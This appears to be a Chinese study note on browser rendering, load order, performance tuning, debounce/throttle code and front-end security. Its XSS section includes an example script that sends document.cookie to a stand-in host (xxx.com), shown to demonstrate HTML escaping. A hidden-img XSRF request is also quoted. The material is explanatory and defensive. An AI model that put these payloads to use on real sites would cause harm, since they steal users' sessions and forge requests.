JS运行环境

0 浏览器内核

1 网页渲染

1.0 CSS图层

重绘repaint以图层为单位(3D变换/canvas/video/css3动画会创建图层)。属性:外观如背景边框改变

重排(回流)reflow:重绘不一定重排,重排必然重绘。属性:引起位置改变如浮动定位

注:display:none 会触发 reflow,而 visibility:hidden 只会触发 repaint,因为没有发生位置变化。

       使用visibility触发重绘;直接使用opacity即触发重绘,又触发重排

优化将多次改变样式属性的操作合并成一次操作,预先定义好class,然后修改className

        利用文档碎片

        为动画元素新建图层,提高动画元素的z-index 

1.1 加载过程

注意:网络连接是TCP协议(先),传输内容是HTTP协议(后)

从用户输入URl按下回车,一直到用户能看到界面,期间经历了什么?

  • 1.DNS解析(缓存):将域名解析为IP
  • 2.进行TCP(协议)连接,三次握手

  • 3.浏览器根据IP地址发送请求,得到响应HTML源代码

1.2 渲染过程

  • 4.浏览器开始解析html

      --解析html,生成DOM树(img不阻塞DOM,可能有强缓存,此时不必请求

      --解析CSS,生成CSSOM树(css放head:先css后html,否则放body最后先css+html后css渲染重复

     --合并成一个render树

     --遇到script标签暂停渲染,优先加载并执行js代码,完成后继续(放body最后);计算各个DOM的尺寸定位;异步CSS/图片加载可能触发重新渲染

     --最终展示界面

  •    5.断开TCP连接,四次挥手(确保数据的完整性)

const img1 = document.getElementById('img1')
img1.onload = function () {
    console.log('img loaded')//2:
}

window.addEventListener('load', function () {
    console.log('window loaded')//3:资源全部加载完才执行,包括图片
})

document.addEventListener('DOMContentLoaded', function () {
    console.log('dom content loaded')//1:DOM渲染完即可执行,图片视频可能未下载
})

1.3 渲染原理

CSS阻塞

        style 标签中的样式,由html解析器异步解析,不会阻塞DOM解析

        link中引入的样式,由CSS解析器同步解析,不会阻塞DOM解析。因为DOM解析和CSS解析是两个并行的进程。

JS阻塞

        阻塞DOM解析和后续js执行。

2 性能优化

2.1 加载更快 

减少资源体积:压缩代码,UI库按需打包

减少访问次数:

        -合并代码:script文件合并

        -SSR服务端渲染:将网页和数据一起加载一起渲染;非SSR是先加载网页,再加载并渲染数据

        -缓存,如内容缓存。静态资源加hash后缀;根据文件内容计算hash;文件内容不变,则hash不变,则url不变;url和文件不变,则会自动触发http缓存机制返回304

        -更快的网络:CDN节点进行外部资源加速

2.2 渲染更快

CSS放head;懒加载:给一张默认图片,上滑加载更多;路由懒加载

js放body最下面;尽早开始JS执行,用DOMContentLoaded触发

缓存DOM查询;多个DOM操作一起插入DOM结构

节流防抖。

 

3 节流防抖 

防抖:用户输入结束时,才触发change事件;关注结果

节流:拖拽或scroll期间触发某个回调,设置一个时间间隔;关注过程

注意:实际使用lodash

// 防抖
function debounce(fn, delay = 500) {
    // timer 是闭包中的
    let timer = null

    return function () {
        if (timer) {
            clearTimeout(timer)
        }
        timer = setTimeout(() => {
            fn.apply(this, arguments)
            timer = null
        }, delay)
    }
}

input1.addEventListener('keyup', debounce(function (e) {
    console.log(e.target)
    console.log(input1.value)
}, 600))


// 节流
function throttle(fn, delay = 100) {
    let timer = null

    return function () {
        if (timer) {
            return
        }
        timer = setTimeout(() => {
            fn.apply(this, arguments)//argument是为了传e,因为外面包裹了一层函数
            timer = null
        }, delay)
    }
}

div1.addEventListener('drag', throttle(function (e) {
    console.log(e.offsetX, e.offsetY)
}))

4 网络安全

4.1 XSS攻击

攻击者在网页中嵌入script脚本,获取用户cookie,服务器配合跨域

替换特殊字符,<script>变为&lt;script&gt;直接显示,而不会作为脚本执行

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XSS Demo</title>
</head>
<body>
    <p>XSS Demo</p>
    <div id="container">
        <p>123123</p>
        &lt;script&gt;
            var img = document.createElement('image')
            img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
        &lt;/script&gt;
    </div>

    <script>
        const str = `
            <p>123123</p>
            <script>
                var img = document.createElement('image')
                img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
            </script>
        `
        const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
    </script>
</body>
</html>

vue/react自动屏蔽xss,除非按照如下使用

4.2 XSRF攻击

攻击者发送一封邮件,隐藏着<img src=xxx.com/pay?id=200/>,查看邮件就会帮他人购买商品(黑客诱导用户去访问另一个网站的接口,伪造请求)

严格的跨域请求限制,如判断请求来源;

为cookie设置Same Site,禁止跨域传递cookie;

使用post接口,增加指纹/短信/密码校验

4.3 点击劫持

判断域名是否相同;禁止第三方

4.4 其他

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